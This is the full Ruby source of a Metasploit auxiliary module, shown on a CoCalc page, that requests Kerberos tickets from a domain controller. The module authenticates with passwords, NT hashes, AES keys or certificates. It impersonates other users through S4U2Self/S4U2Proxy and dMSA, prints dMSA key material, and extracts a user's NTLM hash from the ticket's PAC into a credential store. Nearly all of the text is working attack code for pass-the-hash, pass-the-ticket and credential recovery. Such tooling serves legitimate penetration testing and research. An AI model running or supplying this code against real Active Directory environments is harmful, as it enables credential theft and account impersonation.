Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/kerberos/get_ticket.rb
32735 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Auxiliary::Report
8
include Msf::Exploit::Remote::Kerberos
9
include Msf::Exploit::Remote::Kerberos::Client
10
include Msf::Exploit::Remote::Kerberos::Ticket::Storage
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Kerberos TGT/TGS Ticket Requester',
17
'Description' => %q{
18
This module requests TGT/TGS Kerberos tickets from the KDC
19
},
20
'Author' => [
21
'Christophe De La Fuente', # Metasploit module
22
'Spencer McIntyre', # Metasploit module
23
# pkinit authors
24
'Will Schroeder', # original idea/research
25
'Lee Christensen', # original idea/research
26
'Oliver Lyak', # certipy implementation
27
'smashery' # Metasploit module
28
],
29
'License' => MSF_LICENSE,
30
'Notes' => {
31
'AKA' => ['getTGT', 'getST'],
32
'Stability' => [ CRASH_SAFE ],
33
'SideEffects' => [ ],
34
'Reliability' => [ ]
35
},
36
'Actions' => [
37
[ 'GET_TGT', { 'Description' => 'Request a Ticket-Granting-Ticket (TGT)' } ],
38
[ 'GET_TGS', { 'Description' => 'Request a Ticket-Granting-Service (TGS)' } ],
39
[ 'GET_HASH', { 'Description' => 'Request a TGS to recover the NTLM hash' } ]
40
],
41
'DefaultAction' => 'GET_TGT',
42
'AKA' => ['PKINIT'],
43
'References' => [
44
['ATT&CK', Mitre::Attack::Technique::T1550_003_PASS_THE_TICKET],
45
['ATT&CK', Mitre::Attack::Technique::T1550_002_PASS_THE_HASH]
46
]
47
)
48
)
49
50
register_options(
51
[
52
OptString.new('DOMAIN', [ false, 'The Fully Qualified Domain Name (FQDN). Ex: mydomain.local' ]),
53
OptString.new('USERNAME', [ false, 'The domain user' ]),
54
OptString.new('PASSWORD', [ false, 'The domain user\'s password' ]),
55
OptPkcs12Cert.new('CERT_FILE', [ false, 'The PKCS12 (.pfx) certificate file to authenticate with' ]),
56
OptString.new('CERT_PASSWORD', [ false, 'The certificate file\'s password' ]),
57
OptEnum.new('IMPERSONATE_TYPE', [true, 'The impersonation type to use when requesting a TGS', 'none', ['auto', 'generic', 'none', 'dmsa'], 'none']),
58
OptString.new(
59
'NTHASH', [
60
false,
61
'The NT hash in hex string. Server must support RC4'
62
]
63
),
64
OptString.new(
65
'AES_KEY', [
66
false,
67
'The AES key to use for Kerberos authentication in hex string. Supported keys: 128 or 256 bits'
68
]
69
),
70
OptString.new(
71
'SPN', [
72
false,
73
'The Service Principal Name, format is service_name/FQDN. Ex: cifs/dc01.mydomain.local'
74
],
75
conditions: %w[ACTION == GET_TGS]
76
),
77
OptString.new(
78
'IMPERSONATE', [
79
false,
80
'The user on whose behalf a TGS is requested (it will use S4U2Self/S4U2Proxy to request the ticket)',
81
],
82
conditions: %w[ACTION == GET_TGS]
83
),
84
OptKerberosCredentialCache.new(
85
'Krb5Ccname', [
86
false,
87
'The Kerberos TGT to use when requesting the service ticket. If unset, the database will be checked'
88
],
89
conditions: %w[ACTION == GET_TGS]
90
),
91
]
92
)
93
94
deregister_options('KrbCacheMode')
95
end
96
97
def validate_options
98
if datastore['CERT_FILE'].present?
99
pkcs12_storage = Msf::Exploit::Remote::Pkcs12::Storage.new(framework: framework, framework_module: self)
100
@pfx = pkcs12_storage.read_pkcs12_cert_path(datastore['CERT_FILE'], datastore['CERT_PASSWORD'], workspace: workspace)[:value]
101
102
if datastore['USERNAME'].blank? && datastore['DOMAIN'].present?
103
fail_with(Failure::BadConfig, 'Domain override provided but no username override provided (must provide both or neither)')
104
elsif datastore['DOMAIN'].blank? && datastore['USERNAME'].present?
105
fail_with(Failure::BadConfig, 'Username override provided but no domain override provided (must provide both or neither)')
106
end
107
108
begin
109
@username, @realm = extract_user_and_realm(@pfx.certificate, datastore['USERNAME'], datastore['DOMAIN'])
110
rescue ArgumentError => e
111
fail_with(Failure::BadConfig, e.message)
112
end
113
else # USERNAME and DOMAIN are required when they can't be extracted from the certificate
114
@username = datastore['USERNAME']
115
fail_with(Failure::BadConfig, 'USERNAME must be specified when used without a certificate') if @username.blank?
116
117
@realm = datastore['DOMAIN']
118
fail_with(Failure::BadConfig, 'DOMAIN must be specified when used without a certificate') if @realm.blank?
119
end
120
121
if datastore['NTHASH'].present? && !datastore['NTHASH'].match(/^\h{32}$/)
122
fail_with(Failure::BadConfig, 'NTHASH must be a hex string of 32 characters (128 bits)')
123
end
124
125
if datastore['AES_KEY'].present? && !datastore['AES_KEY'].match(/^(\h{32}|\h{64})$/)
126
fail_with(Failure::BadConfig,
127
'AES_KEY must be a hex string of 32 characters for 128-bits AES keys or 64 characters for 256-bits AES keys')
128
end
129
130
if action.name == 'GET_TGS' && datastore['SPN'].blank?
131
fail_with(Failure::BadConfig, "SPN must be provided when action is #{action.name}")
132
end
133
134
if action.name == 'GET_HASH' && datastore['CERT_FILE'].blank?
135
fail_with(Failure::BadConfig, "CERT_FILE must be provided when action is #{action.name}")
136
end
137
138
if datastore['SPN'].present? && !datastore['SPN'].match(%r{.+/.+})
139
fail_with(Failure::BadConfig, 'SPN format must be service_name/FQDN (ex: cifs/dc01.mydomain.local)')
140
end
141
142
if datastore['IMPERSONATE'].present? && datastore['IMPERSONATE_TYPE'] == 'none'
143
fail_with(Failure::BadConfig, 'IMPERSONATE_TYPE must be set to "generic", "dmsa" or "auto" when IMPERSONATE is provided')
144
end
145
end
146
147
def run
148
validate_options
149
150
result = send("action_#{action.name.downcase}")
151
152
report_service(
153
host: rhost,
154
port: rport,
155
proto: 'tcp',
156
name: 'kerberos',
157
info: "Module: #{fullname}, KDC for domain #{@realm}"
158
)
159
160
result
161
rescue ::Rex::ConnectionError => e
162
elog('Connection error', error: e)
163
fail_with(Failure::Unreachable, e.message)
164
rescue ::Rex::Proto::Kerberos::Model::Error::KerberosError,
165
::EOFError => e
166
msg = e.to_s
167
if e.respond_to?(:error_code) &&
168
e.error_code == ::Rex::Proto::Kerberos::Model::Error::ErrorCodes::KDC_ERR_PREAUTH_REQUIRED
169
msg << ' - Check the authentication-related options (Krb5Ccname, PASSWORD, NTHASH or AES_KEY)'
170
end
171
fail_with(Failure::Unknown, msg)
172
end
173
174
def init_authenticator(options = {})
175
options.merge!({
176
host: rhost,
177
realm: @realm,
178
username: @username,
179
pfx: @pfx,
180
framework: framework,
181
framework_module: self
182
})
183
options[:password] = datastore['PASSWORD'] if datastore['PASSWORD'].present?
184
if datastore['NTHASH'].present?
185
options[:key] = [datastore['NTHASH']].pack('H*')
186
options[:offered_etypes] = [ Rex::Proto::Kerberos::Crypto::Encryption::RC4_HMAC ]
187
end
188
if datastore['AES_KEY'].present?
189
options[:key] = [ datastore['AES_KEY'] ].pack('H*')
190
options[:offered_etypes] = if options[:key].size == 32
191
[ Rex::Proto::Kerberos::Crypto::Encryption::AES256 ]
192
else
193
[ Rex::Proto::Kerberos::Crypto::Encryption::AES128 ]
194
end
195
end
196
197
Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Base.new(**options)
198
end
199
200
def action_get_tgt
201
print_status("#{peer} - Getting TGT for #{@username}@#{@realm}")
202
203
# Never attempt to use the kerberos cache when requesting a kerberos TGT, to ensure a request is made
204
authenticator = init_authenticator({ ticket_storage: kerberos_ticket_storage(read: false, write: true) })
205
authenticator.request_tgt_only
206
end
207
208
def action_get_tgs
209
authenticator = init_authenticator({ ticket_storage: kerberos_ticket_storage(read: true, write: true) })
210
tgt_request_options = {}
211
if datastore['Krb5Ccname'].present?
212
tgt_request_options[:cache_file] = datastore['Krb5Ccname']
213
end
214
credential = authenticator.request_tgt_only(tgt_request_options)
215
216
if datastore['IMPERSONATE_TYPE'] == 'dmsa'
217
print_status("#{peer} - Getting TGS impersonating #{datastore['IMPERSONATE']}@#{@realm} (SPN: #{datastore['SPN']})")
218
219
sname = Rex::Proto::Kerberos::Model::PrincipalName.new(
220
name_type: Rex::Proto::Kerberos::Model::NameType::NT_SRV_INST,
221
name_string: [
222
'krbtgt',
223
@realm
224
]
225
)
226
227
nonce = rand(0..0x7FFFFFFF)
228
auth_options = {
229
sname: sname,
230
nonce: nonce,
231
impersonate: datastore['IMPERSONATE'],
232
impersonate_type: datastore['IMPERSONATE_TYPE']
233
}
234
tgs_ticket, tgs_auth, tgs_credential = authenticator.s4u2self(
235
credential,
236
auth_options.merge(ticket_storage: kerberos_ticket_storage(read: false, write: true))
237
)
238
239
tgs_auth.pa_data.each do |pa_data|
240
if pa_data.type == Rex::Proto::Kerberos::Model::PreAuthType::DMSA_KEY_PACKAGE
241
dmsa_key_package = Rex::Proto::Kerberos::Model::DmsaKeyPackage.decode(pa_data.value)
242
print_dmsa_key_package_info(dmsa_key_package)
243
end
244
rescue ::Rex::Proto::Kerberos::Model::Error::KerberosDecodingError => e
245
print_error("#{peer} - Failed to decode dMSA Key Package: #{e.message}")
246
next
247
end
248
249
auth_options[:tgs_ticket] = tgs_ticket
250
auth_options[:credential] = tgs_credential
251
auth_options
252
elsif datastore['IMPERSONATE_TYPE'] == 'generic'
253
print_status("#{peer} - Getting TGS impersonating #{datastore['IMPERSONATE']}@#{@realm} (SPN: #{datastore['SPN']})")
254
255
sname = Rex::Proto::Kerberos::Model::PrincipalName.new(
256
name_type: Rex::Proto::Kerberos::Model::NameType::NT_UNKNOWN,
257
name_string: [@username]
258
)
259
auth_options = {
260
sname: sname,
261
impersonate: datastore['IMPERSONATE']
262
}
263
tgs_ticket, _tgs_auth = authenticator.s4u2self(
264
credential,
265
auth_options.merge(ticket_storage: kerberos_ticket_storage(read: false, write: true))
266
)
267
268
auth_options[:sname] = Rex::Proto::Kerberos::Model::PrincipalName.new(
269
name_type: Rex::Proto::Kerberos::Model::NameType::NT_SRV_INST,
270
name_string: datastore['SPN'].split('/')
271
)
272
auth_options[:tgs_ticket] = tgs_ticket
273
authenticator.s4u2proxy(credential, auth_options)
274
else
275
print_status("#{peer} - Getting TGS for #{@username}@#{@realm} (SPN: #{datastore['SPN']})")
276
277
sname = Rex::Proto::Kerberos::Model::PrincipalName.new(
278
name_type: Rex::Proto::Kerberos::Model::NameType::NT_SRV_INST,
279
name_string: datastore['SPN'].split('/')
280
)
281
nonce = rand(0..0x7FFFFFFF) # nonce should be a signed 32-bit integer
282
tgs_options = {
283
sname: sname,
284
nonce: nonce,
285
ticket_storage: kerberos_ticket_storage(read: false)
286
}
287
288
authenticator.request_tgs_only(credential, tgs_options)
289
end
290
end
291
292
def print_dmsa_key_package_info(dmsa_key_package)
293
print_status('dMSA Key Package:')
294
295
print_status(' Current Keys:')
296
dmsa_key_package.current_keys.each do |key_set|
297
key_set.each do |key|
298
type = Rex::Proto::Kerberos::Crypto::Encryption::IANA_NAMES[key[0][0]] || 'unknown'
299
value = key[1][0]
300
print_good(" Type: #{type}, Key: #{value.unpack1('H*')}")
301
end
302
end
303
304
print_status(' Previous Keys:')
305
dmsa_key_package.previous_keys.each do |key_set|
306
key_set.each do |key|
307
type = Rex::Proto::Kerberos::Crypto::Encryption::IANA_NAMES[key[0][0]] || 'unknown'
308
value = key[1][0]
309
print_good(" Type: #{type}, Key: #{value.unpack1('H*')}")
310
end
311
end
312
end
313
314
def action_get_hash
315
authenticator = init_authenticator({ ticket_storage: kerberos_ticket_storage(read: false, write: true) })
316
auth_context = authenticator.authenticate_via_kdc(options)
317
credential = auth_context[:credential]
318
319
print_status("#{peer} - Getting NTLM hash for #{@username}@#{@realm}")
320
321
session_key = Rex::Proto::Kerberos::Model::EncryptionKey.new(
322
type: credential.keyblock.enctype.value,
323
value: credential.keyblock.data.value
324
)
325
326
tgs_ticket, _tgs_auth = authenticator.u2uself(credential)
327
328
ticket_enc_part = Rex::Proto::Kerberos::Model::TicketEncPart.decode(
329
tgs_ticket.enc_part.decrypt_asn1(session_key.value, Rex::Proto::Kerberos::Crypto::KeyUsage::KDC_REP_TICKET)
330
)
331
value = OpenSSL::ASN1.decode(ticket_enc_part.authorization_data.elements[0][:data]).value[0].value[1].value[0].value
332
pac = Rex::Proto::Kerberos::Pac::Krb5Pac.read(value)
333
pac_info_buffer = pac.pac_info_buffers.find do |buffer|
334
buffer.ul_type == Rex::Proto::Kerberos::Pac::Krb5PacElementType::CREDENTIAL_INFORMATION
335
end
336
unless pac_info_buffer
337
print_error('NTLM hash not found in PAC')
338
return
339
end
340
341
serialized_pac_credential_data = pac_info_buffer.buffer.pac_element.decrypt_serialized_data(auth_context[:krb_enc_key][:key])
342
ntlm_hash = serialized_pac_credential_data.data.extract_ntlm_hash
343
print_good("Found NTLM hash for #{@username}: #{ntlm_hash}")
344
345
report_ntlm(ntlm_hash)
346
ntlm_hash
347
end
348
349
def report_ntlm(hash)
350
jtr_format = Metasploit::Framework::Hashes.identify_hash(hash)
351
service_data = {
352
address: rhost,
353
port: rport,
354
service_name: 'kerberos',
355
protocol: 'tcp',
356
workspace_id: myworkspace_id
357
}
358
credential_data = {
359
module_fullname: fullname,
360
origin_type: :service,
361
private_data: hash,
362
private_type: :ntlm_hash,
363
jtr_format: jtr_format,
364
username: @username,
365
realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,
366
realm_value: @realm
367
}.merge(service_data)
368
369
credential_core = create_credential(credential_data)
370
371
login_data = {
372
core: credential_core,
373
status: Metasploit::Model::Login::Status::UNTRIED
374
}.merge(service_data)
375
376
create_credential_login(login_data)
377
end
378
end
379
380